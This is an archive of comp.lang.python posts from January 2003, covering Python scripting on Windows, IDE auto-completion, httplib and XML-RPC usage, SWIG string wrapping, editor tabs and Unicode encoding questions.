Message-ID: <avv3ff$jrpo0$1@ID-136433.news.dfncis.de>

I do a lot of work with Windows Scripting Host and some other Active Scripting
environments (on Win32 of course).  I am about to post an updated version of a
WSH FAQ I keep, and wanted to get some feedback on my notes about Python use
from WSH.  Below are the points I am a little fuzzy on...

+ Python Distributions which can be Active Scripting Languages:
In the past, I've referred people to ActiveState's distro.  I'm not sure if this
is the only distribution that comes with support for use as a WSH/IIS/IE/MSHTA
hosted scripting engine; in fact, I'm not even sure if this is the preferable
version any longer, from the general perspective of the developer and user
community.

+ Resources:
The two primary online resources people starting to use Python should know seem
to be
http://www.python.org/
comp.lang.python
Are there any others that are not directly linked from the above that could be
important?  I want to keep this to the essential 3 or so.

+ Minimal "ActivePython":
Python is immense (particularly the ActiveState distribution), but from my
experience that immensity is modular and is really extension of Python to do
useful tasks in specific areas; the core of Python is still fairly small.  Can
anyone suggest a minimalist install (complete, or set of files) to use to get
Python working as an Active Scripting engine?  General pointers will work - if I
have the energy, I can try experimentation to get this right.

+ Activation of Active Scripting support and security issues:
As I understand it, there was some concern about potential security holes in use
of ActivePython a few months or more back; there was no actual known exploit of
any weaknesses, but there was the potential for exploits.  This is an
unfortunate side-effect of a scripting language with power also working as a
browser scripting engine, but the upshot of this is that Windows Python
distributions now don't activate Active Scripting support by default.  Is there
a single "best reference" site that discusses the process of enabling it and
also the security concerns?

Thanks for any help I can get!

FYI, the ancient version of the WSH FAQ I had is accessible from a sub-page of
my remote computing site:

http://dev.remotenetworktechnology.com/wsh/
(see the Mini-FAQ entry)

This version only mentions Python in passing.

-- 






From imbosol at vt.edu  Tue Jan  7 14:33:30 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 07 Jan 2003 19:33:30 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net>
Message-ID: <eYFS9.18484$xb.14542@nwrddc02.gnilink.net>

Robert Oschler wrote:
> I can't look at dice.com anymore, too depressing.  Some appx stats:
> 
> Date    C++ jobs    Java jobs
> 
> 3/2000    42000    31000
> 10/2003    2200    2800
> 
> That's right, almost a 20 to 1 loss of job reqs in C++, and 10 to 1 in Java.
> Also note, Java is now in the lead over C++
> 
> I hate the dot-bust.


I don't know if I trust a website that believes C and C++ are the same
langauge, which this site appears to do.


-- 
CARL BANKS



From altis at semi-retired.com  Wed Jan  8 14:42:16 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Wed, 8 Jan 2003 11:42:16 -0800
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com> <v1otjvkdoinp77@corp.supernews.com>
Message-ID: <X9%S9.37$JL6.77943@news.uswest.net>

"Greg Brunet" <gbrunet at nospamsempersoft.com> wrote in message
news:v1otjvkdoinp77 at corp.supernews.com...
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:3E1C34D0.ECFBC7BF at engcorp.com...
> > > Static
> > > typing is just another tool to help the development process, and
> even if
> > > proper testing reduces the advantages of static typing by 50 or 75%,
> > > I'll still take whatever extra advantages I can get when I write
> code.
> >
> > Not to beat a dead horse, but what if the advantages were reduced by,
> > say, 98%.  Given the loss in productivity involved with all those
> extra
> > keystrokes for the static typing information for the compiler, you
> > might reach a point where it is *less* effective overall to have the
> > static typing in place.  :-)
>
> If things were that drastic - I would agree with you. The interesting
> thing is, even though I type in a few more keystrokes to define the
> variable types, I believe that I gain enormous benefits when I use the
> variables, or invoke functions & methods.  I tried to point this out in
> the Intellisense thread.  While I get some of this with Python, it's not
> nearly to the degree that is present with VB.  I get a function argument
> list, just like in most Python editors, but I also get all of an
> object's properties & methods in VB, which Python doesn't know.  Also,
> as soon as I enter something like [MsgBox "Some text",] I get a list of
> valid MessageBox flags.  No need to search help for them, make sure I
> spelled them correctly, etc.  To me, all these things make the extra
> keystrokes worth entering above & beyond the compile time code
> validation advantages.

I have to agree with this. PythonWin and Wing IDE (I think) and perhaps
other IDEs provide some auto-completion in the editor. All the good Python
shells such as PyCrust do because there you are already dealing with runtime
objects. The way this is accomplished is through introspection of the
compiled code object or the actual objects in the case of the shells. This
makes coding dramatically simpler for a newbie or even an experienced coder
unfamiliar with the API of a given class, function, method, or module. This
is especially true when using COM components or Java beans where good
auto-completion and calltips make the usage basically a matter of "fill in
the blanks".

Since PythonWin uses the Scintilla engine (wxStyledTextCtrl in wxPython
terms) I hope to add the same capabilities to the codeEditor in PythonCard
using Mark Hammond's PythonWin code. While this will be helpful, it still
won't match what editors for VB or C# or Java can do where all variables
have pre-defined types. In particular, you can't get auto-completion or
calltips on function or method args inside the function or method.

s = "hello"

We now know that s is a string, so when the user types s followed by a
period we can pop-up a list of string methods. But inside a function.

def f(s):
    print s

We don't know what s is until runtime, so we can't popup a list for s in
that case. Experienced Python programmers typically have at least one Python
interpreter shell running while they write code and the ability to try
things out interactively somewhat negates the inability to get
auto-completion and calltips in the editor.

So ironically, even though Python is designed to be approachable to
beginners, the lack of pre-defined types makes it less approachable in some
ways since an editor can't show the user calltips for function and method
arguments and functions and methods is what Python programmers spend most of
their time on.

ka





From DLNXPEGFQVEB at spammotel.com  Sat Jan  4 14:29:59 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Sat, 04 Jan 2003 21:29:59 +0200
Subject: Decimal arithmatic, was Re: Python GUI app to impress the boss?
References: <3D8D3491.8010803@tismer.com> <mailman.1032720392.5246.python-list@python.org>
Message-ID: <2bce1v8eaj4uh6d6dmbbmt9auj31up2sic@4ax.com>

On Sun, 22 Sep 2002 14:45:34 -0400, rumours say that Tim Peters
<tim.one at comcast.net> might have written:

>where after a few months my boss took me aside and
>reminded me that I was hired to be a prostitute, not a missionary <wink>

Quite incredible[1].  Same thing, same words (but in Greek) were used by
my boss then in a similar discussion early '91 (I would presume that the
discussion with your boss happened earlier and you never mentioned it
before 1991, so my boss never got to read them somehow.  Or there might
be an older common reference...).

I remember I found the selection of words quite appropriate for me then
to help me land in the real world...

[1] or maybe not.  Although the coincidence of words is amusing
(actually, he used the somewhat more harsh italian (very widespread in
my country too, sono certo che Alex lo sa :) word for 'whore', not for
'prostitute'), I now find easy to believe that the concept of doing this
comparison must be quite common in the software industry.
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From nobody at nowhere.near.here  Wed Jan  8 08:35:18 2003
From: nobody at nowhere.near.here (Nobody)
Date: Wed, 8 Jan 2003 13:35:18 -0000
Subject: no side effects
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>
Message-ID: <avh9en$97e$1@news6.svr.pol.co.uk>

One assigment happens in the "for i" statement. If you move i=3 before the
print statement
    for i in [1,2,3]:
        i = 3
        print i

it will print the 3 three times.
"Michele Simionato" <mis6 at pitt.edu> wrote in message
news:2259b0e2.0301080510.3b2e5d4f at posting.google.com...
> I was surprised by the following code:
>
> >>> for i in [1,2,3]:
> ...     print i,
> ...     i=3
>
> I would have expected only 1 to be printed, but instead Python
> continues the loop without noticing that the value of i has
> changed. IOW, no side effect.
> I am not against that (I am even in favor), but it fooled my
> intuition coming from other languages.
> Maybe others will appreciate that.
>
> Cheers,
>
> --
> Michele Simionato - Dept. of Physics and Astronomy
> 210 Allen Hall Pittsburgh PA 15260 U.S.A.
> Phone: 001-412-624-9041 Fax: 001-412-624-9163
> Home-page: http://www.phyast.pitt.edu/~micheles/





From imbosol at vt.edu  Fri Jan 24 17:36:43 2003
From: imbosol at vt.edu (Carl Banks)
Date: Fri, 24 Jan 2003 22:36:43 GMT
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net>
Message-ID: <%djY9.52$Xw5.51@nwrddc04.gnilink.net>

Aaron K. Johnson wrote:
> prograph 2
> clu 2
> visual 0
> sather 0
> hermes 0
> comp 0
> beta 0

Another question: how can there be 0 different posters in the last
2000 posts in comp.lang.beta?  It seems to me that, irrespective of
this being a very rough indicator of language popularity, your method
has some very grave flaws in it.  (That, or you've utterly failed to
explain how it works.)

Unless you can justify your methodology better, I would say these
numbers are useless even for a rough (and skewed) estimate.


-- 
CARL BANKS



From cnetzer at mail.arc.nasa.gov  Fri Jan 17 00:36:10 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 16 Jan 2003 21:36:10 -0800
Subject: buffer overflow
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEOFDIAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEOFDIAB.tim.one@comcast.net>
Message-ID: <200301170536.VAA09625@mail.arc.nasa.gov>

On Thursday 16 January 2003 20:47, Tim Peters wrote:

> [Martin v. Loewis]
> > Python does not support buffer overflows, sorry.

> [pmaney at pobox.com]
> > I'm sure they could be added by a C extension module.
>
> They already were, and, curiously enough, by the builtin
> bufferobject.c. That supplies the builtin, little understood, and
> easily abused buffer object.  For fun, run this:

[snip]

> Chances are high it will die with a segfault before going around the
> loop 20 times,

My Debian Linux system seems to be missing this feature, in either 2.1 
or 2.2.

  <:-)> I thought python code was supposed to be portable. </:-)>

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From cnetzer at mail.arc.nasa.gov  Wed Jan  8 17:35:18 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 8 Jan 2003 14:35:18 -0800
Subject: best college for computer science major
In-Reply-To: <3e1ca11b_4@nopics.sjc>
References: <3e1ba232_6@nopics.sjc> <v1ofnamn6ai771@corp.supernews.com> <3e1ca11b_4@nopics.sjc>
Message-ID: <200301082235.OAA27196@mail.arc.nasa.gov>

On Wednesday 08 January 2003 14:07, Tupoi wrote:

> ok to be more specific what are the best undergrad schools in the US for a
> Computer Science major in general because most undergrads like me probbably
> have not decided whether they will be computer programmers, network guys,
> or whatever else.

I see.  Well, in that case, the answer is Purdue.  Go to Purdue, that is the 
best undergrad school in the US for CS.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From rjones at ekit-inc.com  Mon Jan 27 19:48:11 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Tue, 28 Jan 2003 11:48:11 +1100
Subject: python weblog apps?
In-Reply-To: <20030128000125.A21343@psychofx.com>
References: <20030128000125.A21343@psychofx.com>
Message-ID: <200301281148.11576.rjones@ekit-inc.com>

On Tue, 28 Jan 2003 11:01 am, Chris Miles wrote:
> I am after a simple weblog for a project, and I see
> a number of php weblog apps around, but have not
> found a Python-based one.
>
> If you know of one you can point me at, that'd be
> great.

Searched PyPI for "weblog" and found:

http://www.amk.ca/cgi-bin/pypi.cgi?:action=display&name=Kaa&version=0.8


Also:

http://roughingit.subtlehints.net/pyblosxom/



    Richard





From geoff at gerrietts.net  Thu Jan 30 18:48:50 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 30 Jan 2003 15:48:50 -0800
Subject: moving a file in a filesystem-independent way?
In-Reply-To: <b1ccej$1tc$1@peabody.colorado.edu>
References: <b1ccej$1tc$1@peabody.colorado.edu>
Message-ID: <20030130234850.GA18449@isis.gerrietts.net>

Quoting Fernando Perez (fperez528 at yahoo.com):
> 
> This problem is nasty because the structure of unix filesystems is
> such that things can change drastically from one machine to
> anonther.  It's the first time that I find python being 'dumber'
> than the plain shell commands.
> 
> But I'm sure it's me being dumb, not python :) So I'd appreciate any
> enlightenment on why things are this way, or how I should go about
> the problem.

As recently as 8 years ago, mv was that dumb, too. On some Unix
systems, it still is.

The issue of transparency stands behind your problem. The functions in
os.posix (and consequently available in os) are very close to the
functions provided by the standard C library on your Linux system. The
standard library's rename() function (man 2 rename) returns an error
in the event that the source and destination are not on the same
filesystem.

The convenience function you propose makes sense, but I'm not sure if
replacing rename() is the right solution -- a new method called move
might be preferable, to avoid confusion.

--G.

-- 
Geoff Gerrietts             "I don't think it's immoral to want to  
<geoff at gerrietts net>     make money."      -- Guido van Rossum




From max at alcyone.com  Sat Jan  4 14:17:36 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 11:17:36 -0800
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org>
		 <pcn2va.go3.ln@beastie.ix.netcom.com> <3E150202.4CB9A9B2@engcorp.com>
		 <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
		 <2282.3e16c72c.ed40b@basilisk> <mailman.1041706688.7923.python-list@python.org>
Message-ID: <3E173350.30DF270F@alcyone.com>

Cliff Wells wrote:

> So, if C isn't a programming language, what is it?  I guess you'll
> need
> to find a new definition of "programming language" at this point if
> you
> want to remain a "programmer" <wink>

I do like the use of the sentence, "Real programming languages are
Turing complete only if we ignore the constraints of finiteness."  The
choice of the word _real_ is rather ironic, since no real programming
language could ever ignore the constraints of finiteness.  (To the
authors' credit, by _real_ they meant something more like _true_ or
_pure_.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I never think of the future.  It comes soon enough.
\__/ Albert Einstein
    Maths reference / http://www.alcyone.com/max/reference/maths/
 A mathematics reference.



From cnetzer at mail.arc.nasa.gov  Fri Jan 31 16:10:52 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 31 Jan 2003 13:10:52 -0800
Subject: (no subject)
In-Reply-To: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
References: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>
Message-ID: <1044047452.1119.8.camel@sayge.arc.nasa.gov>

On Fri, 2003-01-31 at 11:41, mis6 at pitt.edu wrote:
> Subject: adding to __builtins__
> 
> Consider the following script (I need it under Python 2.2, where True and
> False are undefined):

????

$ python
Python 2.2.2 (#1, Jan 18 2003, 10:18:59)
>>> True
1
>>> False
0

Was this not added in 2.2.0?

In any case, your truefalse.py should definitely check to see if True,
False are not already defined and exist in builtin, rather than just
forcibly adding them to __builtin__, since they might become keywords at
some point, or might not be allowed to be changed in __builtin__ (??).

Furthermore, they will become type bool, so it may be best to define
True = (1==1) and False = (0==1), or some such thing.

These things *might* be helpful for future compatibility (but are
probably overkill).

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From Francois at iecholden.com  Tue Jan  7 22:03:02 2003
From: Francois at iecholden.com (Meehan, Francois)
Date: Tue, 7 Jan 2003 22:03:02 -0500 
Subject: xml-rpc, O'Reilly cookbook example not working???
Message-ID: <7190BF5EB309D511A15600508BF18D83560DF9@exchange.iecholden.com>

Right on!

Thanks Brad and Peter, you were right, it is working now. Great stuff that
is.

Regards,

Francois 

-----Original Message-----
From: Peter Hansen [mailto:peter at engcorp.com]
Sent: January 7, 2003 6:20 PM
To: python-list at python.org
Subject: Re: xml-rpc, O'Reilly cookbook example not working???


bradh at cuneata.net wrote:
> 
> Quoting "Meehan, Francois" <Francois at iecholden.com>:
> <snip>
> > if __name__=='__main__':
> >     server = SimpleXMLRPCServer.SimpleXMLRPCServer(("localhost",
> > 8000))
> "localhost" has very specific meaning and will normally only bind to the
> loopback interface. If you insert the machine name here, you should be
able to
> use it on another interface.

Or, perhaps more generally, just use an address of ('', 8000) so that
the server listens on all interfaces (including, not coincidentally, 
127.0.0.1 or localhost).

-Peter
-- 
http://mail.python.org/mailman/listinfo/python-list




From ianb at colorstudy.com  Tue Jan 28 13:44:20 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 28 Jan 2003 12:44:20 -0600
Subject: Browser front-end, python back-end
In-Reply-To: <fd5aa35c.0301280922.a952dc7@posting.google.com>
References: <fd5aa35c.0301280922.a952dc7@posting.google.com>
Message-ID: <1043779460.29622.211.camel@lothlorien>

On Tue, 2003-01-28 at 11:22, Eric Mattes wrote:
> I'd like to know if anyone knows a way to write a python program that
> can be interfaced with through a web browser. I've been investigating
> some GUIs and although I've written a prototype GUI in Tkinter, it
> lacks personality. I'd like to make a nice GUI using HTML. Has anyone
> done anything like this before? If so, how? Would it involve
> embedding/using BaseHTTPServer? Ideally this would run on both Windows
> and Mac OS.

Webware (webware.sf.net) has an embedded HTTP server (based on
BaseHTTPServer).  It's not well advertised at all, which is why I'd need
to point it out for anyone to notice it.

Webware, while not nearly as small as BaseHTTPServer, still has a fairly
small core (especially if you were to trim out stuff you aren't using). 
It should be small enough to run on a client application.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From pythonhda at yahoo.com.replacepythonwithlinux  Wed Jan  8 12:51:05 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Wed, 8 Jan 2003 12:51:05 -0500
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters (???))
References: <avcvi1$5av$03$1@news.t-online.com>
	<20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>
	<avfgo9$clb$05$1@news.t-online.com>
	<20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>
	<avh1a0$kle$04$1@news.t-online.com>
Message-ID: <20030108125105.0e956b3c.pythonhda@yahoo.com.replacepythonwithlinux>

If you can upgrade go ahead. If you're running redhat 7.x it uses v1.5 (up2date for example) and you *might* mess up your configuration if you upgrade *but* you can install python v2.x with an executable name "python2" (that's what the v2.2.1 RPMs did for me). 

Now about the HTTP class. I only have it to be backwards compatible with v1.5 (that's what __doc__ string says). There's no mention of it in my library reference. So what *I* would do is upgrade to 2.2.x making sure that it won't screw up my installation and then use the HTTPConnection class becuase that is what is in use now.

You could also take a look at your current documentation to see if you're doing something wrong.

I hope that helps.


On Wed, 8 Jan 2003 13:18:10 +0100
Phillip <ritschratsch at gmx.de> wrote:

> pythonhda wrote:
> 
> > I'm using python 2.2.1
> > This works for me...I get the source of the page:
>  
> > import httplib
> > 
> > USER_AGENT = "Navigator"
> > 
> > 
> > class ServerGet:
> > 
> >     def __init__(self, host):
> >         self.host = host
> >         
> >     def fetch(self, path):
> >         http = httplib.HTTP(self.host)
> > 
> >         # write header
> >         http.putrequest("GET", path)
> >         http.putheader("User-Agent", USER_AGENT)
> >         http.putheader("Host", self.host)
> >         http.putheader("Accept", "*/*")
> >         http.endheaders()
> >         
> >         # get response
> >         errcode, errmsg, headers = http.getreply()
> > 
> >         
> >         file = http.getfile()
> >         data = file.read()
> >         http.close()
> >         return data
> 
> > Maybe our versions conflict? Check section 11.6.2 in the library
> > reference. It is a little different from your version. I believe you're
> > using an antiquated class "HTTP". The doc string for *me* says:
> > 'Compatibility class with httplib.py from 1.5.'. So not being microsoft, I
> > won't say "Upgrade!" :) - We're probably not speaking the same version...
> 
> I'm supecting the same since last evening. From how I interpret you I just 
> need to upgrade and the same class should run, yes? Or is there something 
> else to do with that new httpConnect class?
> Anyway, I'll get the latest Python and tell you how it turned out. Thanks 
> for the help!
> 
> -- 
> Phillip



From ah at well.ysee  Tue Jan 14 09:50:50 2003
From: ah at well.ysee (Kelv)
Date: Tue, 14 Jan 2003 14:50:50 GMT
Subject: RH8.0, gfax, python
In-Reply-To: <b008bq$ac122@imsp212.netvigator.com>
References: <PZEU9.509$Pw.315@news1.central.cox.net> <b008bq$ac122@imsp212.netvigator.com>
Message-ID: <etVU9.4548$Pw.358@news1.central.cox.net>

Wouter van Marle wrote:

> I am working on a replacement for gfax... squirrelfax
> you can find a preview on sourceforge (no more than that, just a preview).

Thanks for the info. Squirrelfax looks promising, though I don't think 
it will do what I want, which is to communicate with a Hylafax server 
elsewhere on my network. I will watch for updates though. Good luck.

Is there any other alternative to Gfax that would do the same thing? 
i.e. pretend to be a printer, and when activated by lpr it would spawn a 
dialogue to ask for the phone number, etc before sending to the Hylafax 
server. Basically, WHFC but for Linux :)

Kelv




From micke at strakt.com  Thu Jan 23 10:45:52 2003
From: micke at strakt.com (=?iso-8859-15?Q?Mikael_Sch=F6nenberg?=)
Date: Thu, 23 Jan 2003 16:45:52 +0100 (CET)
Subject: (test?return_true:return_false)
In-Reply-To: <1d4cf4c3.0301230735.489c525f@posting.google.com>
Message-ID: <Pine.LNX.4.44.0301231645010.16414-100000@ratthing-b3cd.strakt.com>

On 23 Jan 2003, Daniel wrote:

> Is there a python equivalent to the (test?return_true:return_false)
> function?  It's present in a number of other languages, so I was
> hoping there would be something similar.  If test evaluates to true,
> then the 1st value is returned.  If false... the 2nd value.
>
> For a dumb example, something to the effect of: print 'Search complete
> (%d match%s found)'%(matches,(matches==1?'':'es'))

http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.016.htp

:)

/micke






From johnochiltree at blueyonder.co.uk  Wed Jan 29 05:45:07 2003
From: johnochiltree at blueyonder.co.uk (John Ochiltree)
Date: Wed, 29 Jan 2003 10:45:07 +0000
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net>
Message-ID: <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk>

Brandon Van Every wrote:

> John Ochiltree wrote:
>> I find that if I'm working in python I concentrate more on solutions
>> to problems, whereas with c++ I tend to concentrate more on structure
>> and architecture. However, that's not to say that my thinking is any
>> more abstract in either language.
>>
>> I wonder if there's a way of measuring what language encourages which
>> way of thinking?
> 
> Maybe instead you should be thinking about what your task is.  There's
> nothing wrong with thinking structurally and architecturally if those
> indeed are your problems.
> 
> Python is a "glue" language, so I think you're implying that your problems
> are more typically of a freeform nature.  If you're really saying "no no,
> I do structural/architectural stuff in both, and I love Python syntax and
> hate C++ syntax!" well, all I can say is the C++ works just fine when you
> Keep It
> Simple Stupid and use it all the time.  I would like a few more editor
> features for my function declarations, which seem a bit verbose, but it
> hasn't been painful enough for me to go through the alternate pain of
> editor evaluation.
> 
> --
> Cheers,                         www.3DProgrammer.com
> Brandon Van Every               Seattle, WA
> 
> 20% of the world is real.
> 80% is gobbledygook we make up inside our own heads.
I think you misunderstand me. First of all, surely, for all of us our 'task' 
is to supply computer solutions to problems no matter what languages we 
principally work with.
The obvious difference between C++ and python is surface complexity. Python 
allows you to 'see' the solution a lot faster; C++ - you have to mentally 
filter out all the gumph that is not to do with the solution. For instance, 
if I apply a pattern (an architectural feature) in either language I can 
see how the pattern supports the solution faster and easier with Python 
than I can with C++. I tend to use python to prototype and explore possible 
solutions but if I need optimisation I do a thorough up front design based 
on the prototype but using C++. 
BTW, I use 'unittest' and 'cppunit' profusely no matter what language I'm 
using. I use XEmacs as my editor and QDesigner for GUI building as I can 
get it to generate C++ or Python.
I'm not sure I understand what you mean by a 'glue' language. I've yet to 
come across a problem I couldn't solve with either language!

Regards
John Ochiltree



From martin at v.loewis.de  Mon Jan 20 16:32:58 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 22:32:58 +0100
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <m3ptqs42vw.fsf@mira.informatik.hu-berlin.de> <b0hoij$oue1k$1@ID-75629.news.dfncis.de>
Message-ID: <m3u1g3zeut.fsf@mira.informatik.hu-berlin.de>

Christian Bretterklieber <cb at orcl.net> writes:

>   I have now found the difference. When I execute the script,
> sys.getdefaultencoding() returns 'cp1252'. 

So you have edited site.py? You should also undo this edit.

>   Is there another simple method to set the default encoding? 

No. Instead, you should modify your script not to rely on the system
default encoding.

> And what might be the cause for the exefied script to have a
> different encoding?

'ascii' is the factory default for Python. So the question is why you
don't get the factory default.

Regards,
Martin




From skip at pobox.com  Mon Jan 27 10:51:34 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 27 Jan 2003 09:51:34 -0600
Subject: Please Recommend a C compiler for use with Python.
In-Reply-To: <3E35513E.6D5CE8B5@lvcm.com>
References: <3E35513E.6D5CE8B5@lvcm.com>
Message-ID: <15925.21894.430004.896646@montanaro.dyndns.org>

    z> I use a generic PC running Win 98.  What's a good, Easy-to-use and
    z> install, ANSI C compiler?  I might mention that I mainly want to
    z> extend Python by writing routines in C.

You might try Cygwin.

Skip




From yasusii at lowlife.jp  Wed Jan 29 00:14:38 2003
From: yasusii at lowlife.jp (Yasushi Iwata)
Date: Wed, 29 Jan 2003 14:14:38 +0900 (JST)
Subject: RHSA-2002:202-25
Message-ID: <20030129.141438.70474179.yasusii@lowlife.jp>

Red Hat announced that an insecure use of a temporary file has been
found in Python

http://rhn.redhat.com/errata/RHSA-2002-202.html

I cannot find the patch on ftp.python.org. Where can I find the patch?
Is there a plan to release patched version?





From stojek at part-gmbh.de  Wed Jan  8 15:41:50 2003
From: stojek at part-gmbh.de (Marcus Stojek)
Date: Wed, 08 Jan 2003 20:41:50 GMT
Subject: swig problem with std::string &s
Message-ID: <3e1c893f.38943062@news.easynews.net>

Hi,

I am trying to get a C++ extension running with Swig (1.3.17)
(Swig newbie and no idea of C, Windows NT,VC++ 6.0, Python 2.2.1)

Example code:
/*----------------------------------------------*/
guiModel.h :
#include <vector>
#include <string>

class guiModel {
  protected:

    std::vector<std::string> ElsetNameList;
    std::string idbName;

  public:
    void GetElsets (std::vector<std::string> &ElsetNames);
    bool LimitToElset (std::string &ElsetName)
    {
      return ElsetName.compare(idbName) ?  false : true; 
    }

    guiModel (std::string &idb);
    ~guiModel();
} ;
/*----------------------------------------------*/
guiModel.cpp:
#include "guiModel.h"

guiModel::guiModel (std::string &idb)  : idbName (idb)
{
  ElsetNameList.push_back (idbName);
  ElsetNameList.push_back ("This ");
  ElsetNameList.push_back ("is ");
  ElsetNameList.push_back ("the  ");
  ElsetNameList.push_back ("end!");
}

guiModel::~guiModel ()
{
  ElsetNameList.clear();
}

void guiModel::GetElsets (std::vector<std::string> &ElsetNames)
{
  for (int i=0; i < ElsetNameList.size(); i++)
    ElsetNames.push_back (ElsetNameList[i]);
}
/*----------------------------------------------*/
Interface file:
/* File : guiModel.i */
%module guiModel
%{
#include "guiModel.h"
%}
%include std_string.i
%include std_vector.i
%include "guiModel.h"
/*----------------------------------------------*/
Compiling and linking the dll works fine.
after:
from guimodel import *
g=guimodel('test')

i get the output:
Traceback (most recent call last):
  File "E:\test.py", line 6, in ?
    g=guiModel('test')
  File "E:\guiModel.py", line 38, in __init__
    self.this = apply(_guiModel.new_guiModel,args)
TypeError: Type error. Expected _p_std__string

In the Swig documentation i found for std_string.i module:
"This module only supports types std::string and const std::string &.
Pointers and non-const references are left unmodified and returned as
SWIG pointers. "

What can I do without changing the C-code?

Thanks a lot for any help.

Marcus



From nav at adams.patriot.net  Fri Jan  3 15:24:26 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 03 Jan 2003 15:24:26 -0500
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <m3isx76i7j.fsf@wilma.local> <3E1599DF.F870DF68@engcorp.com> <z1mR9.1175$fj.594002@news.randori.com>
Message-ID: <yyywulmdls5.fsf@adams.patriot.net>

"Dan L. Pierson" <dan at control.com> writes:

> Other Emacs features that I find improve my productivity a lot:

Interactive incremental search! The fact that I don't have to move a
pointer into a search dialogue box is part of the reason I love it.
The other is that I can find what I need with the absolute minimum
number of characters, since it gives you instant visual feedback.

Interactive incremental regular expression search is even cooler,
though sometimes a little brainbending.

Nick

p.s. I keep waiting for someone to ask, "What's the best editor to use
     with Brainf*ck?"

-- 
#include<stdio.h> /* SigMask 0.3 (sig.c) 19990429 PUBLIC DOMAIN "Compile Me" */
int main(c,v)char *v;{return !c?putchar(*v-1)&&main(0,v+ /* Tweaks welcomed. */
1):main(0,"Ojdl!Wbshjti!=obwAqbusjpu/ofu?\v\1");}  /* build: cc -o sig sig.c */



From Mongryong at sympatico.ca  Sun Jan 26 10:37:14 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 26 Jan 2003 10:37:14 -0500
Subject: Emacs has eaten my python tabs!!!
In-Reply-To: <15923.64232.153575.441139@montanaro.dyndns.org>
References: <1043563632.4966.71.camel@refugeeMedia> 
	<15923.64232.153575.441139@montanaro.dyndns.org>
Message-ID: <1043595434.1388.2.camel@refugeeMedia>

Doesn't python rely on tabs?

On Sun, 2003-01-26 at 10:12, Skip Montanaro wrote:
> 
>     Mongryong> Ok, I did some cut and paste from python source which had
>     Mongryong> different tabs.  In emacs it appears the tabs are in the
>     Mongryong> right place but Python is complaining about indentation
>     Mongryong> errors.  I've tried changing the tab-width/tab-stop in emacs
>     Mongryong> but still no luck.
> 
> If everything lines up (that is, visually the code appears properly indented
> within Emacs), simply select the entire buffer and execute M-x untabify.
> You'll wind up with source code which only uses spaces for indentation.
> Keep it that way.  You'll have far fewer problems of this sort.  ;-)
> 
> Skip






From bkc at murkworks.com  Thu Jan  2 14:49:54 2003
From: bkc at murkworks.com (Brad Clements)
Date: Thu, 02 Jan 2003 14:49:54 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
In-Reply-To: <15892.37864.78833.39620@montanaro.dyndns.org>
References: <3e148bb7$1_1@goliath.newsgroups.com>
